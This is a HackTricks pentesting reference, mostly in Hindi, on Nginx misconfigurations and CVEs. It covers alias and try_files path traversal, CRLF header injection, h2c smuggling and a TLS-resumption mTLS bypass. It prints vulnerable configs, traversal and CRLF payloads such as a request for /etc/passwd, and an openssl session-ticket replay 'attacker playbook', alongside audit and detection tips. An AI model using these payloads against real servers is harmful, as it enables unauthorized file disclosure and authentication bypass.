Nginx

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

गायब root location

जब Nginx server को कॉन्फ़िगर करते समय, root directive एक महत्वपूर्ण भूमिका निभाती है क्योंकि यह उस बेस डायरेक्टरी को परिभाषित करती है जहाँ से फाइलें सर्व की जाती हैं। नीचे दिए गए उदाहरण पर विचार करें:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

In this configuration, /etc/nginx is designated as the root directory. This setup allows access to files within the specified root directory, such as /hello.txt. However, it’s crucial to note that only a specific location (/hello.txt) is defined. There’s no configuration for the root location (location / {...}). This omission means that the root directive applies globally, enabling requests to the root path / to access files under /etc/nginx.

A critical security consideration arises from this configuration. A simple GET request, like GET /nginx.conf, could expose sensitive information by serving the Nginx configuration file located at /etc/nginx/nginx.conf. Setting the root to a less sensitive directory, like /etc, could mitigate this risk, yet it still may allow unintended access to other critical files, including other configuration files, access logs, and even encrypted credentials used for HTTP basic authentication.

Alias LFI Misconfiguration

Nginx के configuration files में “location” directives की सावधानीपूर्वक जांच आवश्यक है। एक vulnerability जिसे Local File Inclusion (LFI) के रूप में जाना जाता है, अनजाने में निम्नलिखित जैसी configuration के माध्यम से आ सकती है:

location /imgs {
alias /path/images/;
}

यह configuration LFI attacks के प्रति संवेदनशील है क्योंकि सर्वर /imgs../flag.txt जैसे अनुरोधों को लक्षित निर्देशिका के बाहर फ़ाइलों तक पहुँचने का प्रयास समझता है, नतीजतन यह /path/images/../flag.txt बन जाता है। यह कमी हमलावरों को सर्वर के फ़ाइल सिस्टम से ऐसी फ़ाइलें प्राप्त करने की अनुमति देती है जिन्हें वेब के माध्यम से एक्सेस नहीं किया जाना चाहिए।

इस कमज़ोरी को कम करने के लिए, configuration को समायोजित किया जाना चाहिए:

location /imgs/ {
alias /path/images/;
}

अधिक जानकारी: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Accunetix परीक्षण:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

असुरक्षित पथ प्रतिबंध

निम्नलिखित पृष्ठ देखें यह जानने के लिए कि आप निम्नलिखित directives को कैसे bypass कर सकते हैं:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

असुरक्षित वेरिएबल उपयोग / HTTP Request Splitting

Caution

Vulnerable variables $uri and $document_uri हैं और इसे $request_uri से बदलकर ठीक किया जा सकता है।

A regex भी असुरक्षित हो सकता है जैसे:

location ~ /docs/([^/])? { … $1 … } - असुरक्षित

location ~ /docs/([^/\s])? { … $1 … } - असुरक्षित नहीं (स्पेस की जाँच)

location ~ /docs/(.*)? { … $1 … } - असुरक्षित नहीं

निम्न उदाहरण Nginx configuration में एक vulnerability को दर्शाता है:

location / {
return 302 https://example.com$uri;
}

HTTP अनुरोधों में नए लाइन कैरेक्टर \r (कैरिज रिटर्न) और \n (लाइन फ़ीड) होते हैं, और उनका URL-encoded रूप %0d%0a है। इन कैरेक्टरों को किसी अनुरोध में शामिल करने पर (उदा., http://localhost/%0d%0aDetectify:%20clrf) एक गलत कॉन्फ़िगर किए गए सर्वर पर सर्वर एक नया हेडर Detectify जारी कर देता है। ऐसा इसलिए होता है क्योंकि $uri वेरिएबल URL-encoded नए लाइन कैरेक्टरों को डिकोड कर देता है, जिससे प्रतिक्रिया में एक अप्रत्याशित हेडर बन जाता है:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Learn more about the risks of CRLF injection and response splitting at https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Also this technique is explained in this talk with some vulnerable examples and detection mechanisms. For example, In order to detect this misconfiguration from a blackbox perspective you could these requests:

  • https://example.com/%20X - Any HTTP code
  • https://example.com/%20H - 400 Bad Request

If vulnerable, the first will return as “X” is any HTTP method and the second will return an error as H is not a valid method. So the server will receive something like: GET / H HTTP/1.1 and this will trigger the error.

Another detection examples would be:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Any HTTP code
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Some found vulnerable configurations presented in that talk were:

  • ध्यान दें कि कैसे $uri final URL में वैसे ही सेट है
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • ध्यान दें कि फिर से $uri URL में है (इस बार एक पैरामीटर के अंदर)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • अब AWS S3 में
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

किसी भी वेरिएबल

यह पता चला कि उपयोगकर्ता द्वारा प्रदान किया गया डेटा कुछ परिस्थितियों में एक Nginx variable के रूप में माना जा सकता है। इस व्यवहार का कारण पूरी तरह स्पष्ट नहीं है, और इसे सत्यापित करना भी सीधा नहीं है। इस असामान्यता को HackerOne पर एक सुरक्षा रिपोर्ट में उजागर किया गया था, जिसे here पर देखा जा सकता है। त्रुटि संदेश की आगे की जांच से इसकी घटना Nginx के कोडबेस के SSI filter module में पाई गई, जिससे Server Side Includes (SSI) को मूल कारण के रूप में निर्दिष्ट किया गया।

To detect this misconfiguration, the following command can be executed, which involves setting a referer header to test for variable printing:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

सिस्टमों में इस misconfiguration के लिए किए गए स्कैनों ने कई ऐसे मामले दिखाए जहाँ एक उपयोगकर्ता Nginx variables को प्रिंट कर सकता था। हालाँकि, कमजोर इंस्टेंसों की संख्या में कमी से पता चलता है कि इस समस्या को पैच करने के प्रयास कुछ हद तक सफल रहे हैं।

try_files के साथ $URI$ARGS variables का उपयोग

निम्नलिखित Nginx misconfiguration एक LFI vulnerability का कारण बन सकती है:

location / {
try_files $uri$args $uri$args/ /index.html;
}

हमारी कॉन्फ़िगरेशन में हमारे पास निर्देश try_files है जिसका उपयोग निर्दिष्ट क्रम में फ़ाइलों के अस्तित्व की जाँच करने के लिए किया जाता है। Nginx उस पहली फ़ाइल को सर्व करेगा जिसे वह पाएगा। try_files निर्देश का मूल सिंटैक्स निम्नलिखित है:

try_files file1 file2 ... fileN fallback;

Nginx निर्दिष्ट क्रम में प्रत्येक फ़ाइल के अस्तित्व की जाँच करेगा। यदि कोई फ़ाइल मौजूद है, तो उसे तुरंत प्रदान किया जाएगा। यदि निर्दिष्ट की गई किसी भी फ़ाइल का अस्तित्व नहीं है, तो अनुरोध fallback विकल्प को भेज दिया जाएगा, जो कोई अन्य URI या कोई विशिष्ट त्रुटि पृष्ठ हो सकता है।

हालाँकि, जब इस directive में $uri$args variables का उपयोग किया जाता है, तो Nginx उस फ़ाइल को खोजने की कोशिश करेगा जो request URI और किसी भी query string arguments के संयोजन से मेल खाती हो। इसलिए हम इस configuration का exploit कर सकते हैं:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

निम्नलिखित payload के साथ:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

हमारे payload का उपयोग करके हम root directory (Nginx configuration में परिभाषित) से बाहर निकलकर /etc/passwd फ़ाइल लोड करेंगे। डिबग लॉग्स में हम देख सकते हैं कि Nginx फ़ाइलों को कैसे आज़माता है:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC against Nginx using the configuration mentioned above: Example burp request

बैकएंड की कच्ची प्रतिक्रिया पढ़ना

Nginx proxy_pass के ज़रिए एक सुविधा देता है जो backend द्वारा उत्पन्न त्रुटियों और HTTP हेडर्स को इंटरसेप्ट करने की अनुमति देती है, ताकि आंतरिक त्रुटि संदेश और हेडर्स छुपाए जा सकें। यह Nginx द्वारा backend त्रुटियों के जवाब में कस्टम त्रुटि पृष्ठ सर्व करके पूरा किया जाता है। हालाँकि, समस्याएँ तब उत्पन्न होती हैं जब Nginx को एक अवैध HTTP request मिलता है। ऐसी request को प्राप्त किए जाने के जैसा ही backend को फ़ॉरवर्ड कर दिया जाता है, और backend की कच्ची प्रतिक्रिया सीधे client को भेज दी जाती है बिना Nginx की मध्यस्थता के।

uWSGI application को शामिल करते हुए एक उदाहरण परिदृश्य पर विचार करें:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

इसे प्रबंधित करने के लिए, Nginx कॉन्फ़िगरेशन में विशिष्ट निर्देशों का उपयोग किया जाता है:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: यह निर्देश Nginx को बैकएंड प्रतिक्रियाओं के लिए एक कस्टम प्रतिक्रिया सर्व करने में सक्षम बनाता है जिनका status code 300 से अधिक होता है। यह सुनिश्चित करता है कि हमारे उदाहरण uWSGI application के लिए, 500 Error प्रतिक्रिया को Nginx द्वारा इंटरसेप्ट कर संभाला जाए।
  • proxy_hide_header: जैसा नाम से स्पष्ट है, यह निर्देश क्लाइंट से निर्दिष्ट HTTP हेडर्स को छिपाता है, जिससे गोपनीयता और सुरक्षा बढ़ती है।

जब एक वैध GET अनुरोध किया जाता है, तो Nginx उसे सामान्य रूप से प्रोसेस करता है और कोई भी सीक्रेट हेडर प्रकट किए बिना एक स्टैंडर्ड एरर प्रतिक्रिया लौटाता है। हालांकि, एक अवैध HTTP अनुरोध इस मैकेनिज्म को बाइपास कर देता है, जिससे raw backend प्रतिक्रियाएँ उजागर हो सकती हैं, जिनमें secret headers और error messages शामिल हैं।

merge_slashes को off पर सेट करना

डिफ़ॉल्ट रूप से, Nginx का merge_slashes directive on पर सेट होता है, जो URL में कई forward slashes को एक single slash में संकुचित कर देता है। यह सुविधा URL प्रोसेसिंग को सरल बनाती है, लेकिन यह अप्रत्यक्ष रूप से Nginx के पीछे लगी applications में मौजूद कमजोरियों को छिपा सकती है, विशेषकर उन एप्लीकेशनों में जो local file inclusion (LFI) हमलों के प्रति संवेदनशील हैं। सुरक्षा विशेषज्ञों Danny Robinson and Rotem Bar ने इस डिफ़ॉल्ट व्यवहार से जुड़े संभावित जोखिमों को रिवर्स-प्रॉक्सी के रूप में कार्य करते समय विशेष रूप से रेखांकित किया है।

ऐसे जोखिमों को कम करने के लिए, उन एप्लीकेशनों के लिए जिनमें ये कमजोरियाँ हो सकती हैं, यह अनुशंसित है कि आप merge_slashes directive को off पर सेट करें। इससे Nginx अनुरोधों को URL संरचना को बदलाए बिना एप्लिकेशन को फॉरवर्ड करेगा, और किसी भी अंतर्निहित सुरक्षा समस्या को छिपाएगा नहीं।

For more information check Danny Robinson and Rotem Bar.

Maclicious प्रतिक्रिया हेडर

जैसा कि this writeup में दिखाया गया है, कुछ ऐसे headers होते हैं जो यदि वे वेब सर्वर की प्रतिक्रिया में मौजूद हों तो वे Nginx proxy के व्यवहार को बदल देंगे। आप इन्हें in the docs में देख सकते हैं:

  • X-Accel-Redirect: निर्दिष्ट स्थान पर अनुरोध को आंतरिक रूप से पुनर्निर्देशित करने का संकेत देता है।
  • X-Accel-Buffering: नियंत्रित करता है कि क्या Nginx को प्रतिक्रिया को buffer करना चाहिए या नहीं।
  • X-Accel-Charset: X-Accel-Redirect का उपयोग करते समय प्रतिक्रिया के लिए character set सेट करता है।
  • X-Accel-Expires: X-Accel-Redirect का उपयोग करते समय प्रतिक्रिया के लिए expiration time सेट करता है।
  • X-Accel-Limit-Rate: X-Accel-Redirect का उपयोग करते समय प्रतिक्रियाओं के ट्रांसफर की दर को सीमित करता है।

उदाहरण के लिए, हेडर X-Accel-Redirect nginx में एक आंतरिक redirect का कारण बनेगा। इसलिए यदि nginx कॉन्फ़िगरेशन में कुछ ऐसा है जैसे root / और वेब सर्वर की प्रतिक्रिया में X-Accel-Redirect: .env है, तो यह nginx को /.env की सामग्री भेजने पर मजबूर करेगा (Path Traversal)।

Map Directive में Default Value

In the Nginx configuration, map directive अक्सर authorization control में भूमिका निभाता है। एक सामान्य गलती यह है कि default value निर्दिष्ट न किया जाए, जिससे unauthorized access का रास्ता खुल सकता है। उदाहरण के लिए:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}

server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

default के बिना, एक malicious user /map-poc के भीतर एक undefined URI तक पहुँच कर सुरक्षा को बायपास कर सकता है। The Nginx manual ऐसे मामलों से बचने के लिए default value सेट करने की सलाह देता है।

DNS Spoofing Vulnerability

Nginx के खिलाफ DNS spoofing कुछ विशेष परिस्थितियों में संभव है। यदि attacker को Nginx द्वारा उपयोग किया गया DNS server का पता है और वह इसके DNS queries को intercept कर सकता है, तो वह DNS records को spoof कर सकता है। हालांकि यह method अप्रभावी है यदि Nginx को DNS resolution के लिए localhost (127.0.0.1) उपयोग करने के लिए configured किया गया है। Nginx निम्नानुसार एक DNS server निर्दिष्ट करने की अनुमति देता है:

resolver 8.8.8.8;

proxy_pass और internal निर्देश

The proxy_pass directive is utilized for redirecting requests to other servers, either internally or externally. The internal directive ensures that certain locations are only accessible within Nginx. While these directives are not vulnerabilities by themselves, their configuration requires careful examination to prevent security lapses.

proxy_set_header Upgrade & Connection

यदि nginx सर्वर Upgrade और Connection headers पास करने के लिए कॉन्फ़िगर है, तो एक h2c Smuggling attack किया जा सकता है जिससे protected/internal endpoints तक पहुँचा जा सकता है।

Caution

यह vulnerability हमलावर को **proxy_pass endpoint के साथ सीधे कनेक्शन स्थापित करने** की अनुमति देगा (http://backend:9999` इस मामले में), जिसका content nginx द्वारा जांचा नहीं जाएगा।

Example of vulnerable configuration to steal /flag from here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

ध्यान दें कि भले ही proxy_pass किसी विशेष path जैसे http://backend:9999/socket.io की ओर इशारा कर रहा हो, कनेक्शन http://backend:9999 के साथ स्थापित होगा, इसलिए आप उस internal endpoint के अंदर किसी भी अन्य path से संपर्क कर सकते हैं। इसलिए proxy_pass के URL में path निर्दिष्ट होना मायने नहीं रखता।

HTTP/3 QUIC module remote DoS & leak (2024)

During 2024 Nginx disclosed CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 and CVE-2024-35200 showing that a single hostile QUIC session can crash worker processes or leak memory whenever the experimental ngx_http_v3_module is compiled in and a listen ... quic socket is exposed. Impacted builds are 1.25.0–1.25.5 and 1.26.0, while 1.27.0/1.26.1 ship the fixes; the memory disclosure (CVE-2024-34161) additionally requires MTUs larger than 4096 bytes to surface sensitive data (details in the 2024 nginx advisory referenced below).

Recon & exploitation hints

  • HTTP/3 ऑप्ट-इन है, इसलिए Alt-Svc: h3=":443" responses के लिए scan करें या UDP/443 पर QUIC handshakes को brute-force करें; पुष्टि होने पर, custom quiche-client/nghttp3 payloads के साथ handshake और STREAM frames को fuzz करके worker crashes ट्रिगर करें और logs को leak करवा सकते हैं।
  • जल्दी से target support को fingerprint करने के लिए:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption के माध्यम से client cert auth बायपास (CVE-2025-23419)

फ़रवरी 2025 की एक अधिसूचना ने खुलासा किया कि nginx 1.11.4–1.27.3, जो OpenSSL के साथ built है, किसी name-based virtual host से reusing a TLS 1.3 session को दूसरे में allow करता है, जिससे कोई client जिसने certificate-free host के साथ negotiation किया था, ticket/PSK को replay करके ssl_verify_client on; से protected vhost में कूद सकता है और पूरी तरह से mTLS को छोड़ सकता है। यह बग तब trigger होता है जब कई virtual hosts एक ही TLS 1.3 session cache और tickets शेयर करते हैं (नीचे संदर्भित 2025 nginx advisory देखें)।

हमलावर प्लेबुक

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

यदि लक्ष्य कमजोर है, तो दूसरा हैंडशेक क्लाइंट सर्टिफिकेट प्रस्तुत किए बिना पूरा हो जाता है, जिससे सुरक्षित स्थान उजागर हो जाते हैं।

ऑडिट करने के लिए

  • मिश्रित server_name ब्लॉक जो ssl_session_cache shared:SSL और ssl_session_tickets on; साझा करते हैं।
  • Admin/API ब्लॉक जो mTLS की अपेक्षा करते हैं लेकिन सार्वजनिक होस्ट्स से साझा session cache/ticket सेटिंग्स विरासत में ले लेते हैं।
  • Automation जो TLS 1.3 session resumption को globally सक्षम कर देती है (उदा., Ansible roles) बिना vhost isolation पर विचार किए।

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

The HTTP/2 Rapid Reset attack (CVE-2023-44487) अभी भी nginx को प्रभावित करता है जब ऑपरेटर keepalive_requests या http2_max_concurrent_streams को डिफ़ॉल्ट से ऊपर बढ़ा देते हैं: एक हमलावर एक HTTP/2 connection खोलता है, इसे हजारों streams से भर देता है, फिर तुरंत RST_STREAM frames जारी करता है ताकि concurrency छत कभी न पहुँचे जबकि CPU tear-down लॉजिक पर काम करते हुए सतत व्यस्त रहे। Nginx डिफ़ॉल्ट (128 concurrent streams, 1000 keepalive requests) प्रभावित दायरे को छोटा रखता है; इन सीमाओं को “substantially higher” पर धकेलने से workers को संसाधनहीन करना आसान हो जाता है, यहाँ तक कि एक ही क्लाइंट से भी (नीचे संदर्भित F5 write-up देखें)।

डिटेक्शन सुझाव

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Hosts that reveal unusually high values for those directives are prime targets: one HTTP/2 client can loop through stream creation and instant RST_STREAM frames to keep CPU pegged without tripping the concurrency cap.

खुद आज़माएँ

Detectify ने एक GitHub रिपोजिटरी बनाई है जहाँ आप Docker का उपयोग करके अपने लिए vulnerable Nginx टेस्ट सर्वर सेटअप कर सकते हैं जिसमें इस लेख में चर्चा किए गए कुछ misconfigurations शामिल हैं और उन्हें स्वयं ढूँढकर आज़मा सकते हैं!

https://github.com/detectify/vulnerable-nginx

स्टैटिक एनालाइज़र टूल्स

GixyNG & GIXY

GixyNG (GIXY का एक अपडेटेड fork) Nginx कॉन्फ़िग्रेशन का विश्लेषण करने का एक टूल है, जिसका उद्देश्य vulnerabilities, insecure directives, और जोखिमपूर्ण misconfigurations खोजना है। यह प्रदर्शन को प्रभावित करने वाले misconfigurations भी ढूंढता है, और missed hardening opportunities का पता लगाता है, जिससे automated flaw detection संभव होती है।

Nginxpwner

Nginxpwner एक सरल टूल है जो सामान्य Nginx misconfigurations और vulnerabilities की तलाश करता है।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें